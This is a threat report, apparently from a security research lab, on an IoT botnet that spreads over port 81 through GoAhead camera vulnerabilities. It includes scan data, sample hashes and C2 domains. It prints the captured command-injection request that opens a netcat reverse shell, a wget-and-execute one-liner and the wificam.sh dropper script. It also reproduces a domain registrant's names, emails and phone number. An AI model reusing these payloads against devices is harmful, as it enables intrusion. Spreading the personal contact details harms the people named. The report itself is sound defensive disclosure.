New Threat Report: A new IoT Botnet is Spreading over HTTP 81 on a Large Scale
Overview
360 Network Security Research Lab recently discovered a new botnet that is scanning the entire Internet on a large scale. Taking into account the following factors in the botnet, we decided to disclose our findings to the secure community:
- Very active, we can now see ~ 50k live scanner IPs daily.
- Malicious code identified, simple UDP DDoS attacks recorded.
- Most security vendors fail to identify the malicious code (7/55 on virustotal)
- This botnet borrows partial code such as port scanning module from the Mirai, but it is completely different from mirai in terms of infect chain, C2 communication protocol, attack module and so on. Although the binary names have mirai mentioned it is probably not wise to treat it just as a mirai variant
We sort out the botnet discovery process, communication techniques, behavioral characteristics, a brief analysis of the botnet attacks, and in accordance with the timeline to organize the blog as follows:
- GoAhead and multiple camera RCE vulnerabilities
- The attacker exploited the vulnerability
- The scan started
- From scan to sample
- C2 historical changes backtracking
- Botnet size from DNS perspective
- An observation about a particular scanner 212.232.46.46
- IoC
GoAhead and Multiple Camera RCE 0Day Vulnerabilities
Researcher Pierre Kim (@PierreKimSec) released a vulnerability analysis report on GoAhead and other OEM cameras on 2017-03-08. In terms of equipment manufacturers attribution, the original author pointed out that the equipment OEM manufacturers involved more than 1,250 different camera manufacturers, models; About the number of potential infection equipment, the researcher used Shodan to estimate that more than 185,000 devices have potential problems. The original article links as follows:
https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html
In the original article, the researcher pointed out that GoAhead camera has a number of problems, including:
- By providing blank loginuse and loginpas to bypass the authentication session and download the device's
.inifiles - By
set_ftp.cgiinjection to obtain root privileges, and provide remote root Shell on the device
The original author points out that attacker can gain root access on the impacted devices without any device login by utilizing the above two vulnerabilities, and he also provided a PoC.
The Attacker Exploited the Vulnerability
It only took a little bit more than a month for the attacker to exploit the vulnerability after the original PoC announcement, on 2017-04-16 we have noticed the scan activity.
The payload we captured has the following characteristics:
- scan port changed from 80 to
81 - The
syn scanprocess is borrowed from Mirai - Scan process also verifies the existence of the
login.cgipage so the victims can be further screened. - The previously mentioned
goahead 0-day4.vulnerability is used to deliver payload - We have not confirmed but there is reason to suspect that after a successful infection on the device, the exploit blocks the payload delivery channel
The scan started
We first noticed this event from our real-time port scan monitoring system:
Figure 1 port 81 scan big jump since 2017-04-16
From the figure we can see, 2017-04-16 is the day when the scan really was started. Compare 2017-04-15 with one day after, the number of scanning sessions increased to 400% to 700%, the number of unique scanner had 4000% to 6000% increments. On 2017-04-22, the number of unique scan source had passed over 57,000，which is a fairly big number.
Figure 2 detailed volume compare
From scan to sample
Payload
After noticing the scan behavior, we started to look into our various systems. Our honeypot captured the following samples. It worth noting that, although the names of the samples contain the mirai word, the way they work has some major difference, and we think it should be treated as a new threat.
cd20dcacf52cfe2b5c2a8950daf9220d wificam.sh
428111c22627e1d4ee87705251704422 mirai.arm
9584b6aec418a2af4efac24867a8c7ec mirai.arm5n
5ebeff1f005804bb8afef91095aac1d9 mirai.arm7
b2b129d84723d0ba2f803a546c8b19ae mirai.mips
2f6e964b3f63b13831314c28185bb51a mirai.mpsl
The file information for the samples is as follows:
-
mirai.arm: ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped
-
mirai.arm5n: ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped
-
mirai.arm7: ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
-
mirai.mips: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
-
mirai.mpsl: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
-
wificam.sh: ASCII text
The delivery of the payload
The payload is delivered after a successful port 81 scan and verification process.
- The exploit, on the basis of the above PoC, injects an order to force the victim device to initiate a nc connection to
load.gtpnet.ir:1234 - Victim downloads and executes the script hxxp: //ntp.gtpnet.ir/wificam.sh, and then continue to download all the samples named mirai.arm / mirai.arm5n / mirai.arm7 / mirai.mips / mirai.mpsl from hxxp://Ntp.gtpnet.ir
- These samples will be further executed and make connection with the control server, and that is the end of the infection phase, and the device is ready to launch attack.
The codes are as follow
- The injections
GET login.cgi HTTP/1.1
GET /set_ftp.cgi?loginuse=admin&loginpas=admin&next_url=ftp.htm&port=21&user=ftp&pwd=ftp&dir=/&mode=PORT&upload_interval=0&svr=%24%28nc+load.gtpnet.ir+1234+-e+%2Fbin%2Fsh%29 HTTP/1.1
GET /ftptest.cgi?loginuse=admin&loginpas=admin HTTP/1.1
This payload is contained in the sef_ftp.cgi URI, which decodes to
nc load.gtpnet.ir 1234 -e bin/sh
The victim is therefore forced to initiate a nc connection to the attacker's server and downloads wificam.sh
- wificam.sh downloaded to victim
$ nc load.gtpnet.ir 1234`
busybox nohup sh -c "wget http://ntp.gtpnet.ir/wificam.sh -O /tmp/a.sh ;chmod +x /tmp/a.sh ;/tmp/a.sh" > /dev/null 2>&1 &`
wificam.sh instructs to further download more new sample files
$ cat wificam.sh
wget hxxp://ntp.gtpnet.ir/mirai.arm -O /tmp/arm.bin wget hxxp://ntp.gtpnet.ir/mirai.arm5n -O /tmp/arm5.bin wget hxxp://ntp.gtpnet.ir/mirai.arm7 -O /tmp/arm7.bin wget hxxp://ntp.gtpnet.ir/mirai.mips -O /tmp/mips.bin wget hxxp://ntp.gtpnet.ir/mirai.mpsl -O /tmp/mpsl.bin
chmod +x /tmp/arm.bin chmod +x /tmp/arm5.bin chmod +x /tmp/arm7.bin chmod +x /tmp/mips.bin chmod +x /tmp/mpsl.bin
killall *.bin killall arm killall arm5 killall arm7 killall mips killall mpsl killall hal
/tmp/arm.bin /tmp/arm5.bin /tmp/arm7.bin /tmp/mips.bin /tmp/mpsl.bin rm -rf /tmp/*.bin
Data points
Our different monitoring systems all successfully picked up this activity
Our Scanmon indicates that the spike first seen is around 2017-04-16 03:00:00.
The viewpoint from our pDNS system, the first C2 resolve spike occurred around 2017-04-16 03:00:00
From our honeypots, the samples came in also around 2017-04-16 03:00:00 (excluding one specific source 212.232.46.46, which we will discuss later).
Sample analysis
Reverse engineering the sample is more time-consuming and is still a working in progress, we may release further analysis later on. At this stage, we can discuss a little bit about the samples' network behaviors:
- Sample vs C2 communcations
- Sample vs a simple UDP DDoS attack
- Sample vs mirai
- Sample vs IoT
Sample vs C2 communcations
The samples will communicate with load.gtpnet.ir/ntp.gtpnet.ir both in the infection phase and in the attack phase.
Sample vs a simple UDP DDoS attack
The sample contains DDoS attack module. We observed the sample in the sandbox launched a DDoS attack against 185.63.190.95 around 2017-04-23 21:45:00
, it is worth noting that this attack was also detected by our DDoSmon.net platform
https://ddosmon.net/explore/185.63.190.95
Further analysis of the UDP attack:
- From DDoSMon , the attack was mainly targeted the victim on its port UDP 53/123/656, the size of the package are mainly 125/139
- From the Pcap analysis of the sandbox, the attack goes to UDP ports 53/123, and the packet sizes match the DDosMon.net data
In addition, from the sandbox Pcap, we can see the attack packet uses real IP address, also the payload is populated with the SSDP (UDP 1900) data.
Simple UDP 53 DDoS with a SSDP1900 padding
Simple UDP 123 DDoS with a SSDP1900 padding
Sample vs mirai
Overall, we think this is a new family, not a variant ot mirai family.
The difference between these samples and mirai includes:
- Infection phase: no more brute-force on port 23/2323 port. Instead a port 81 GoAhead RCE vulnerability exploit
- C2 communication protocol: completely different from mirai
- Attack module: completely different from mirai; Mirai does not attack on UDP port 53/123/656. and the unique Mirai GRE / STOMP attack is no where to be seen in these samples
The sample also have something in common with mirai:
* Infection phase: the use of some sort of unique (but well known in the security community) syn scan to speed up the process of port scanning. However, today this technique is no longer a mirai unique feature
* File name: the word mirai in file names
* Code reuse: partial mirai code borrowed
Sample vs IoT
IoT devices are the target of this threat, although there are 1200+ potential kinds of equipment. We successfully used our DNS data to pinpointed major victims.
We have developed a machine leaning based tool we called d2v that can be handy to line up associated domain names. In this case, D2v helps us find following domains names associate to ntp.gtpnet.ir when the spike occurred:
s3.vstarcam.com s2.eye4.cn ntp.gtpnet.ir api.vanelife.com load.gtpnet.ir ntp2.eye4.cn push.eye4.cn push.eyecloud.so ntp.eye4.cn m2m.vanelife.com`
These domains' website titles are as follows:
C2 historical changes backtracking
Domain DNS History Record Analysis
The DNS historical records of the two domain is as follows
As we can see:
- load.gtpnet.ir only uses one ip 185.45.192.168, while
2. ntp.gtpnet.ir IP changes a few times, and
3. ntp.gtpnet.ir seems to have some service instability, which was also observed from our sandbox
Domain ntp.gtpnet.ir 's IP instability may be explained by the following fact(s):
* We can see from the reverse engineering, the former domain only responsible for delivering the initial downloader, so the load is relatively light; while the latter domain is responsible not only for delivering wificam.sh and five elf samples, but also bear the responsibility for communication with all the bot, so the load is much more heavier than the former
* The whole botnet is quite big, the server might have to talk to tens of thousands of bot at the same time.
Domain Registration Analysis
Here is the domain's registration information :
domain: gtpnet.ir ascii: gtpnet.ir remarks: (Domain Holder) javad fooladdadi remarks: (Domain Holder Address) Imarat hashtom, apartemanhaye emarat hashtom, golbahar, khorasan razavi, IR holder-c: jf280-irnic admin-c: jf280-irnic tech-c: mk3389-irnic nserver: etta.ns.cloudflare.com nserver: dom.ns.cloudflare.com last-updated: 2017-04-19 expire-date: 2018-04-06 source: IRNIC # Filterednic-hdl: jf280-irnic
person: javad fooladdadi
org: personal
e-mail: ademaiasantos@gmail.com
address: Imarat hashtom, apartemanhaye emarat hashtom, golbahar, khorasan razavi, IR
phone: +989155408348
fax-no: +989155408348
source: IRNIC # Filterednic-hdl: mk3389-irnic
person: Morteza Khayati
e-mail: morteza.khayati1@gmail.com
source: IRNIC # Filtered
Botnet Size from DNS perspective
Util now, based on the dns queries, the number of bots we see is 43,621 (the global number might be much higher), we only have DNS visibility in China, so our dns view is limited to the Chinese mainland. The specific geographical distribution is as follows:
Daily active scanner number in mainland China varies between 2,700 and 9,500, as follows:
An observation about a Particular canner 212.232.46.46
Among all the bots hitting our honeypot, 212.232.46.46 somehow stands out, it was the first scanner hit our honeypot using this particular vulnerability , and after 5 quiet hours, all the massive scan started from various sources.
We are not sure why, but this might be something worthing looking.
IoC
Samples
cd20dcacf52cfe2b5c2a8950daf9220d wificam.sh 428111c22627e1d4ee87705251704422 mirai.arm 9584b6aec418a2af4efac24867a8c7ec mirai.arm5n 5ebeff1f005804bb8afef91095aac1d9 mirai.arm7 b2b129d84723d0ba2f803a546c8b19ae mirai.mips 2f6e964b3f63b13831314c28185bb51a mirai.mpsl
C2 Servers
ntp.gtpnet.ir load.gtpnet.ir